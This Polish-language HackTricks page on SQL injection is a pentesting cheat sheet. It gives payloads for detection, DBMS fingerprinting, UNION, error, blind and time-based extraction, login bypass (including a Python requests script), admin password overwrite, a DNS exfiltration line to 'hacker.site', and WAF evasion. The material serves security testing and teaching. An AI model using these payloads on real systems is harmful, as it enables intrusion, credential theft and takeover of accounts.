# SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
{% embed url="https://www.rootedcon.com/" %}
## Co to jest SQL injection?
**SQL injection** to luka w zabezpieczeniach, która pozwala atakującym na **ingerencję w zapytania do bazy danych** aplikacji. Ta podatność może umożliwić atakującym **wyświetlanie**, **modyfikowanie** lub **usuwanie** danych, do których nie powinni mieć dostępu, w tym informacji o innych użytkownikach lub jakichkolwiek danych, do których aplikacja ma dostęp. Takie działania mogą prowadzić do trwałych zmian w funkcjonalności lub treści aplikacji, a nawet do kompromitacji serwera lub odmowy usługi.
## Wykrywanie punktu wejścia
Gdy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypowych odpowiedzi serwera na dane wejściowe związane z SQLi, **pierwszym krokiem** jest zrozumienie, jak **wstrzykiwać dane do zapytania bez zakłócania go**. Wymaga to zidentyfikowania metody, aby **skutecznie wydostać się z bieżącego kontekstu**. Oto kilka przydatnych przykładów:
```
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```
Następnie musisz wiedzieć, jak **naprawić zapytanie, aby nie było błędów**. Aby naprawić zapytanie, możesz **wprowadzić** dane, aby **poprzednie zapytanie zaakceptowało nowe dane**, lub możesz po prostu **wprowadzić** swoje dane i **dodać symbol komentarza na końcu**.
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
### **Komentarze**
```sql
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
```
### Potwierdzanie za pomocą operacji logicznych
Wiarygodną metodą potwierdzenia podatności na SQL injection jest wykonanie **operacji logicznej** i obserwowanie oczekiwanych wyników. Na przykład, parametr GET taki jak `?username=Peter`, który daje identyczną zawartość po modyfikacji na `?username=Peter' or '1'='1`, wskazuje na podatność na SQL injection.
Podobnie, zastosowanie **operacji matematycznych** służy jako skuteczna technika potwierdzająca. Na przykład, jeśli dostęp do `?id=1` i `?id=2-1` daje ten sam wynik, to wskazuje na SQL injection.
Przykłady ilustrujące potwierdzenie operacji logicznej:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
Ta lista słów została stworzona, aby spróbować **potwierdzić SQLinjections** w zaproponowany sposób:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
### Potwierdzanie z użyciem czasu
W niektórych przypadkach **nie zauważysz żadnej zmiany** na stronie, którą testujesz. Dlatego dobrym sposobem na **odkrycie ślepych SQL injections** jest zmuszenie bazy danych do wykonania działań, co będzie miało **wpływ na czas**, jaki potrzebuje strona na załadowanie.\
Dlatego w zapytaniu SQL dodamy operację, która zajmie dużo czasu na zakończenie:
```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
W niektórych przypadkach **funkcje sleep nie będą dozwolone**. Wtedy, zamiast używać tych funkcji, możesz sprawić, że zapytanie **wykona złożone operacje**, które zajmą kilka sekund. _Przykłady tych technik będą komentowane osobno dla każdej technologii (jeśli takie istnieją)_.
### Identyfikacja Back-endu
Najlepszym sposobem na identyfikację back-endu jest próba wykonania funkcji różnych back-endów. Możesz użyć _**funkcji sleep**_ z poprzedniej sekcji lub tych (tabela z [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Również, jeśli masz dostęp do wyniku zapytania, możesz **wydrukować wersję bazy danych**.
{% hint style="info" %}
W kontynuacji omówimy różne metody wykorzystania różnych rodzajów SQL Injection. Użyjemy MySQL jako przykładu.
{% endhint %}
### Identyfikacja z PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## Wykorzystywanie oparte na Union
### Wykrywanie liczby kolumn
Jeśli możesz zobaczyć wynik zapytania, to jest to najlepszy sposób na jego wykorzystanie.\
Przede wszystkim musimy ustalić **liczbę** **kolumn**, które **początkowe zapytanie** zwraca. Dzieje się tak, ponieważ **oba zapytania muszą zwracać tę samą liczbę kolumn**.\
Do tego celu zazwyczaj stosuje się dwie metody:
#### Order/Group by
Aby określić liczbę kolumn w zapytaniu, stopniowo dostosowuj liczbę używaną w klauzulach **ORDER BY** lub **GROUP BY**, aż otrzymasz fałszywą odpowiedź. Mimo że **GROUP BY** i **ORDER BY** mają różne funkcjonalności w SQL, obie mogą być wykorzystywane w ten sam sposób do ustalenia liczby kolumn w zapytaniu.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
```sql
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
#### UNION SELECT
Wybierz coraz więcej wartości null, aż zapytanie będzie poprawne:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._
### Wyciąganie nazw baz danych, nazw tabel i nazw kolumn
W następnych przykładach zamierzamy pobrać nazwę wszystkich baz danych, nazwę tabeli w bazie danych oraz nazwy kolumn tabeli:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Każda baza danych ma inny sposób odkrywania tych danych, ale metodologia zawsze jest ta sama._
## Wykorzystywanie ukrytej injekcji opartej na unii
Gdy wynik zapytania jest widoczny, ale injekcja oparta na unii wydaje się nieosiągalna, oznacza to obecność **ukrytej injekcji opartej na unii**. Taki scenariusz często prowadzi do sytuacji z niewidoczną injekcją. Aby przekształcić niewidoczną injekcję w opartą na unii, należy rozpoznać zapytanie wykonawcze na zapleczu.
Można to osiągnąć za pomocą technik niewidocznej injekcji w połączeniu z domyślnymi tabelami specyficznymi dla twojego systemu zarządzania bazą danych (DBMS). Aby zrozumieć te domyślne tabele, zaleca się zapoznanie się z dokumentacją docelowego DBMS.
Gdy zapytanie zostanie wyodrębnione, konieczne jest dostosowanie ładunku, aby bezpiecznie zamknąć oryginalne zapytanie. Następnie do twojego ładunku dodawane jest zapytanie unii, co ułatwia wykorzystanie nowo dostępnej injekcji opartej na unii.
Aby uzyskać bardziej szczegółowe informacje, zapoznaj się z pełnym artykułem dostępnym pod adresem [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Wykorzystywanie opartej na błędach
Jeśli z jakiegoś powodu **nie możesz** zobaczyć **wyniku** **zapytania**, ale możesz **widzieć komunikaty o błędach**, możesz wykorzystać te komunikaty o błędach do **ekstrahowania** danych z bazy danych.\
Podążając podobnym tokiem jak w przypadku wykorzystania opartej na unii, możesz zdołać zrzucić bazę danych.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Wykorzystywanie Blind SQLi
W tym przypadku nie możesz zobaczyć wyników zapytania ani błędów, ale możesz **rozróżnić**, kiedy zapytanie **zwraca** odpowiedź **prawda** lub **fałsz**, ponieważ na stronie są różne treści.\
W tym przypadku możesz wykorzystać to zachowanie, aby zrzucić bazę danych znak po znaku:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Wykorzystywanie Error Blind SQLi
To jest **ten sam przypadek co wcześniej**, ale zamiast rozróżniać odpowiedź prawda/fałsz z zapytania, możesz **rozróżniać** między **błędem** w zapytaniu SQL a jego brakiem (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić błąd SQL za każdym razem, gdy poprawnie zgadniesz znak:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Wykorzystywanie SQLi opartego na czasie
W tym przypadku **nie ma** sposobu na **rozróżnienie** **odpowiedzi** zapytania na podstawie kontekstu strony. Jednak możesz sprawić, że strona **będzie się ładować dłużej**, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu, aby [potwierdzić lukę SQLi](./#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
Możesz użyć stacked queries, aby **wykonać wiele zapytań z rzędu**. Zauważ, że podczas gdy kolejne zapytania są wykonywane, **wyniki** **nie są zwracane do aplikacji**. Dlatego ta technika jest głównie użyteczna w odniesieniu do **blind vulnerabilities**, gdzie możesz użyć drugiego zapytania do wywołania zapytania DNS, błędu warunkowego lub opóźnienia czasowego.
**Oracle** nie obsługuje **stacked queries.** **MySQL, Microsoft** i **PostgreSQL** je obsługują: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
Jeśli **żaden inny** sposób eksploatacji **nie zadziałał**, możesz spróbować sprawić, aby **baza danych** wyekstrahowała informacje do **zewnętrznego hosta** kontrolowanego przez Ciebie. Na przykład, za pomocą zapytań DNS:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Ekstrakcja danych poza pasmem za pomocą XXE
```sql
a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- -
```
## Automatyzowane Wykorzystanie
Sprawdź [SQLMap Cheatsheet](sqlmap/), aby wykorzystać lukę SQLi za pomocą [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Informacje specyficzne dla technologii
Omówiliśmy już wszystkie sposoby wykorzystania luki SQL Injection. Znajdź więcej sztuczek zależnych od technologii bazy danych w tej książce:
* [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md)
* [MySQL](mysql-injection/)
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/)
Lub znajdziesz **wiele sztuczek dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa w każdej dziedzinie.
{% embed url="https://www.rootedcon.com/" %}
## Ominięcie uwierzytelniania
Lista do próby ominięcia funkcji logowania:
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
{% endcontent-ref %}
### Ominięcie uwierzytelniania za pomocą surowego hasha
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
To zapytanie pokazuje lukę, gdy MD5 jest używane z wartością true dla surowego wyjścia w kontrolach uwierzytelniania, co sprawia, że system jest podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które, po zhashowaniu, generują nieoczekiwane części poleceń SQL, prowadząc do nieautoryzowanego dostępu.
```sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```
### Ominięcie uwierzytelniania za pomocą wstrzykniętego hasha
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Zalecana lista**:
Powinieneś używać jako nazwy użytkownika każdej linii z listy, a jako hasła zawsze: _**Pass1234.**_\
NAN;_(Te ładunki są również zawarte w dużej liście wspomnianej na początku tej sekcji)_
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK Ominięcie uwierzytelniania
JEŚLI ' jest escapowane, możesz użyć %A8%27, a gdy ' zostanie escapowane, zostanie utworzone: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Skrypt Pythona:
```python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Wstrzykiwanie poliglotowe (wielokontekstowe)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement
### Zmiana hasła istniejącego obiektu/użytkownika
Aby to zrobić, powinieneś spróbować **utworzyć nowy obiekt o nazwie "obiekt główny"** (prawdopodobnie **admin** w przypadku użytkowników) modyfikując coś:
* Utwórz użytkownika o nazwie: **AdMIn** (wielkie i małe litery)
* Utwórz użytkownika o nazwie: **admin=**
* **Atak Truncation SQL** (gdy istnieje jakiś **limit długości** w nazwie użytkownika lub e-mailu) --> Utwórz użytkownika o nazwie: **admin \[dużo spacji] a**
#### Atak Truncation SQL
Jeśli baza danych jest podatna, a maksymalna liczba znaków dla nazwy użytkownika wynosi na przykład 30 i chcesz podszyć się pod użytkownika **admin**, spróbuj utworzyć nazwę użytkownika: "_admin \[30 spacji] a_" i dowolne hasło.
Baza danych **sprawdzi**, czy wprowadzona **nazwa użytkownika** **istnieje** w bazie danych. Jeśli **nie**, **przetnie** **nazwę użytkownika** do **maksymalnej dozwolonej liczby znaków** (w tym przypadku do: "_admin \[25 spacji]_") i następnie **automatycznie usunie wszystkie spacje na końcu, aktualizując** w bazie danych użytkownika "**admin**" z **nowym hasłem** (może pojawić się jakiś błąd, ale to nie oznacza, że to nie zadziałało).
Więcej informacji: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Uwaga: Ten atak nie będzie już działał tak, jak opisano powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal ignorują białe znaki na końcu domyślnie, próba wstawienia ciągu, który jest dłuższy niż długość pola, spowoduje błąd, a wstawienie nie powiedzie się. Więcej informacji na ten temat:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert time based checking
Dodaj tyle `','',''`, ile uważasz, aby zakończyć instrukcję VALUES. Jeśli opóźnienie zostanie wykonane, masz SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
Klauzula `ON DUPLICATE KEY UPDATE` w MySQL jest wykorzystywana do określenia działań, które baza danych ma podjąć, gdy próba wstawienia wiersza spowoduje duplikat wartości w indeksie UNIQUE lub PRIMARY KEY. Poniższy przykład demonstruje, jak ta funkcja może być wykorzystana do zmiany hasła konta administratora:
Example Payload Injection:
Ładunek iniekcji może być skonstruowany w następujący sposób, gdzie próbuje się wstawić dwa wiersze do tabeli `users`. Pierwszy wiersz jest wabikiem, a drugi wiersz celuje w istniejący adres e-mail administratora z zamiarem zaktualizowania hasła:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
Here's how it works:
* Zapytanie próbuje wstawić dwa wiersze: jeden dla `generic_user@example.com` i drugi dla `admin_generic@example.com`.
* Jeśli wiersz dla `admin_generic@example.com` już istnieje, klauzula `ON DUPLICATE KEY UPDATE` uruchamia się, instruując MySQL do zaktualizowania pola `password` istniejącego wiersza na "bcrypt\_hash\_of\_newpassword".
* W konsekwencji, można spróbować uwierzytelnić się za pomocą `admin_generic@example.com` z hasłem odpowiadającym haszowi bcrypt ("bcrypt\_hash\_of\_newpassword" reprezentuje hasz bcrypt nowego hasła, który powinien być zastąpiony rzeczywistym haszem pożądanego hasła).
### Extract information
#### Creating 2 accounts at the same time
Kiedy próbujesz utworzyć nowego użytkownika, potrzebne są nazwa użytkownika, hasło i e-mail:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### Używanie dziesiętnego lub szesnastkowego
Z tą techniką możesz wyodrębnić informacje, tworząc tylko 1 konto. Ważne jest, aby zauważyć, że nie musisz nic komentować.
Używając **hex2dec** i **substr**:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
Aby uzyskać tekst, możesz użyć:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
Używając **hex** i **replace** (oraz **substr**):
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
{% embed url="https://www.rootedcon.com/" %}
## Routed SQL injection
Routed SQL injection to sytuacja, w której zapytanie, które można wstrzyknąć, nie jest tym, które daje wynik, ale wynik zapytania, które można wstrzyknąć, trafia do zapytania, które daje wynik. ([Z dokumentu](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Przykład:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF Bypass
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### Bypass bez spacji
No Space (%20) - bypass przy użyciu alternatyw dla białych znaków
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No Whitespace - obejście za pomocą komentarzy
```sql
?id=1/*comment*/and/**/1=1/**/--
```
No Whitespace - obejście za pomocą nawiasów
```sql
?id=(1)and(1)=(1)--
```
### Brak przecinków bypass
Brak przecinka - bypass przy użyciu OFFSET, FROM i JOIN
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Generic Bypasses
Czarna lista używająca słów kluczowych - obejście za pomocą wielkich/małych liter
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Blacklist używając słów kluczowych bez uwzględniania wielkości liter - obejście za pomocą operatora równoważnego
```
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Obejście WAF za pomocą notacji naukowej
Możesz znaleźć bardziej szczegółowe wyjaśnienie tego triku na blogu [gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
W zasadzie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### Ominięcie Ograniczenia Nazw Kolumn
Przede wszystkim zauważ, że jeśli **oryginalne zapytanie i tabela, z której chcesz wyodrębnić flagę, mają tę samą liczbę kolumn**, możesz po prostu użyć: `0 UNION SELECT * FROM flag`
Możliwe jest **uzyskanie dostępu do trzeciej kolumny tabeli bez użycia jej nazwy** za pomocą zapytania takiego jak: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, więc w przypadku sqlinjection wyglądałoby to tak:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
Lub używając **comma bypass**:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
Ten trik został zaczerpnięty z [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### Narzędzia do omijania WAF
{% embed url="https://github.com/m4ll0k/Atlas" %}
## Inne przewodniki
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Lista wykrywania Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa w każdej dziedzinie.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie dla HackTricks
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
{% endhint %}